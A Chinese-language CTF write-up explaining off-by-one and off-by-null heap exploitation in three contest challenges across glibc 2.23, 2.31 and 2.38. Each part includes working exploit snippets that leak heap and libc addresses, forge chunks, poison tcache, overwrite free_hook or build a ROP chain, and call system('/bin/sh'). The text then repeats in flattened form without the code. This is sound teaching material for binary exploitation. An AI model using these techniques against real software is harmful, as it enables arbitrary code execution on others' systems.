off by one近期题目详解
字数 1315 2025-08-20 18:18:11

Off-by-One漏洞利用技术详解

背景知识

Off-by-one漏洞是指由于边界条件验证不严格,导致向缓冲区写入数据时多写入一个字节的情况。在CTF比赛中常见的三种溢出方式:

  1. strcpy函数导致的溢出:当复制数据长度等于缓冲区最大容量时,strcpy会在结尾额外写入一个'\x00'字节
  2. 循环写入控制不当:循环次数计算错误导致多写入一个字节
  3. 故意设计的漏洞:如size+1 <= max_content_size这样的条件判断

内部赛题目分析

环境信息

  • glibc 2.31
  • 无UAF漏洞
  • 限制申请大小在0x100以内

漏洞点分析

  1. edit_read函数中存在off-by-null漏洞
  2. 通过read(0, a1, 1)逐字节读取,直到遇到换行符
  3. 将换行符替换为'\x00'时可能导致溢出

利用思路

  1. 利用off-by-null在unsorted bin中实现chunk合并
  2. 修改fd指针实现任意地址写
  3. 最终目标是执行system('/bin/sh')

详细利用流程

  1. 泄露堆地址
add(0,0xf8,'aaaa')
add(1,0xf8,'aaaa')
delete(1)
delete(0)
add(1,0xf8,'')
show(1)
heap_base = u64(p.recv(6).ljust(8,'\x00'))-0x30a
  1. 布置堆布局
for i in range(11):
    add(i,0xf8,'')
for i in range(7):
    delete(i)
delete(9)
  1. 泄露libc地址
add(11,0x10,'')
show(11)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x1ecc0a
  1. 伪造chunk实现合并
pl = p64(0)+p64(0xf1)+p64(heap_base+0x9a0)+p64(heap_base+0x9a0)
pl = pl.ljust(0xf0,'\x00')
pl += p64(0xf0)
edit(7,pl)
delete(8)
  1. 修改fd指针
for i in range(7):
    add(i,0xf8,'')
add(9,0xf8,'')
delete(1)
delete(9)
pl = p64(0)+p64(0x100)+p64(free_hook)
edit(7,pl)
  1. 最终利用
add(1,0xf8,'/bin/sh\x00')
add(9,0xf8,p64(system))
delete(1)  # 触发free_hook执行system

ISCC线下赛-私地题目分析

环境信息

  • glibc 2.23
  • 存在chunk overlapping问题

漏洞点分析

  1. edit_user函数中存在off-by-one漏洞
  2. 读取用户名时使用read_input(*(*(&heaparray + v1) + 8LL), **(&heaparray + v1) + 1LL)
  3. 可以多写入一个字节

利用思路

  1. 利用off-by-one修改chunk size
  2. 通过chunk overlapping实现任意地址写
  3. 修改free_hook为system

详细利用流程

  1. 准备/bin/sh字符串
add(0x10,'/bin/sh\x00')
  1. 泄露libc地址
add(0x88,'aaaa')
add(0x18,'aaaa')
delete(1)
add(0x88,'a'*8)
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c4b0a
  1. 利用off-by-one修改chunk size
add(0x18,'')
add(0x18,'')
add(0x18,'')
add(0x18,'')
edit(2,p64(0)*3+p8(0x81))
delete(3)
  1. 实现任意地址写
add(0x70,p64(0)*8+p64(0x10)+p64(free_hook))
edit(4,p64(system))
delete(0)  # 触发free_hook

鹏城杯-babyheap题目分析

环境信息

  • glibc 2.38
  • 需要结合IO_leak和tcache_struct攻击

漏洞点分析

  1. sub_13BE函数中存在off-by-null漏洞
  2. 读取时会在末尾写入'\x00'

利用思路

  1. 利用off-by-null修改chunk元数据
  2. 结合IO_leak泄露栈地址
  3. 通过tcache_struct攻击实现ROP

详细利用流程

  1. 泄露堆地址
heap_base = int(r(14),16)-0x2a0
  1. 初始堆布局
add(0x418,p64(0)+p64(0x1880)+p64(heap_base+0x2c0)+p64(heap_base+0x2c0))
add(0x408,'aaaa')
add(0x408,'aaaa')
add(0x408,'aaaa')
add(0x418,'aaaa')
add(0x418,'aaaa')
add(0x4f8,'bbbb')
add(0x4f8,'bbbb')
  1. 利用off-by-null
edit(5,0x418,'a'*0x410+p64(0x1880))
delete(6)
  1. 泄露libc地址
add(0x408,'cccc')
add(0x488,'cccc')
add(0x488,'cccc')
delete(8)
add(0x498,'dddd')
show(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x1ff0f0-0x20
  1. tcache_struct攻击
pl = 'a'*0x380+p64(0)+p64(0x411)+p64((heap_base+0x10)^(heap_base>>12))
edit(9,0x400,pl)
add(0x408,'aaaa')
pl = p64(0x1)+p64(0)*14+p64(0x0007000000000000)+p64(0)*0x3f+p64(stdout)
add(0x408,pl)
  1. 泄露栈地址
ru('\n')
stack = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-0x120
  1. ROP利用
pl = p64(0x1)+p64(0)*14+p64(0x0007000000000000)+p64(0)*0x3f+p64(stack-0x8)
edit(3,0x408,pl)
pl = p64(0)+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
add(0x400,pl)
menu(5)  # 退出触发ROP

总结

  1. 不同glibc版本的利用差异

    • 2.23:可以直接利用unsorted bin合并
    • 2.31:需要更复杂的堆布局
    • 2.38:需要结合新的攻击技术如tcache_struct攻击
  2. 关键技巧

    • 精确控制堆布局
    • 利用off-by-one修改关键元数据
    • 结合其他泄露技术获取必要信息
    • 根据环境选择合适的攻击路径
  3. 防御绕过

    • 针对不同保护机制(如tcache)调整利用方式
    • 利用IO_file结构体泄露信息
    • 在更高版本中使用ROP等技术绕过保护
Off-by-One漏洞利用技术详解 背景知识 Off-by-one漏洞是指由于边界条件验证不严格,导致向缓冲区写入数据时多写入一个字节的情况。在CTF比赛中常见的三种溢出方式: strcpy函数导致的溢出 :当复制数据长度等于缓冲区最大容量时,strcpy会在结尾额外写入一个'\x00'字节 循环写入控制不当 :循环次数计算错误导致多写入一个字节 故意设计的漏洞 :如 size+1 <= max_content_size 这样的条件判断 内部赛题目分析 环境信息 glibc 2.31 无UAF漏洞 限制申请大小在0x100以内 漏洞点分析 edit_read 函数中存在off-by-null漏洞 通过 read(0, a1, 1) 逐字节读取,直到遇到换行符 将换行符替换为'\x00'时可能导致溢出 利用思路 利用off-by-null在unsorted bin中实现chunk合并 修改fd指针实现任意地址写 最终目标是执行 system('/bin/sh') 详细利用流程 泄露堆地址 : 布置堆布局 : 泄露libc地址 : 伪造chunk实现合并 : 修改fd指针 : 最终利用 : ISCC线下赛-私地题目分析 环境信息 glibc 2.23 存在chunk overlapping问题 漏洞点分析 edit_user 函数中存在off-by-one漏洞 读取用户名时使用 read_input(*(*(&heaparray + v1) + 8LL), **(&heaparray + v1) + 1LL) 可以多写入一个字节 利用思路 利用off-by-one修改chunk size 通过chunk overlapping实现任意地址写 修改free_ hook为system 详细利用流程 准备/bin/sh字符串 : 泄露libc地址 : 利用off-by-one修改chunk size : 实现任意地址写 : 鹏城杯-babyheap题目分析 环境信息 glibc 2.38 需要结合IO_ leak和tcache_ struct攻击 漏洞点分析 sub_13BE 函数中存在off-by-null漏洞 读取时会在末尾写入'\x00' 利用思路 利用off-by-null修改chunk元数据 结合IO_ leak泄露栈地址 通过tcache_ struct攻击实现ROP 详细利用流程 泄露堆地址 : 初始堆布局 : 利用off-by-null : 泄露libc地址 : tcache_ struct攻击 : 泄露栈地址 : ROP利用 : 总结 不同glibc版本的利用差异 : 2.23:可以直接利用unsorted bin合并 2.31:需要更复杂的堆布局 2.38:需要结合新的攻击技术如tcache_ struct攻击 关键技巧 : 精确控制堆布局 利用off-by-one修改关键元数据 结合其他泄露技术获取必要信息 根据环境选择合适的攻击路径 防御绕过 : 针对不同保护机制(如tcache)调整利用方式 利用IO_ file结构体泄露信息 在更高版本中使用ROP等技术绕过保护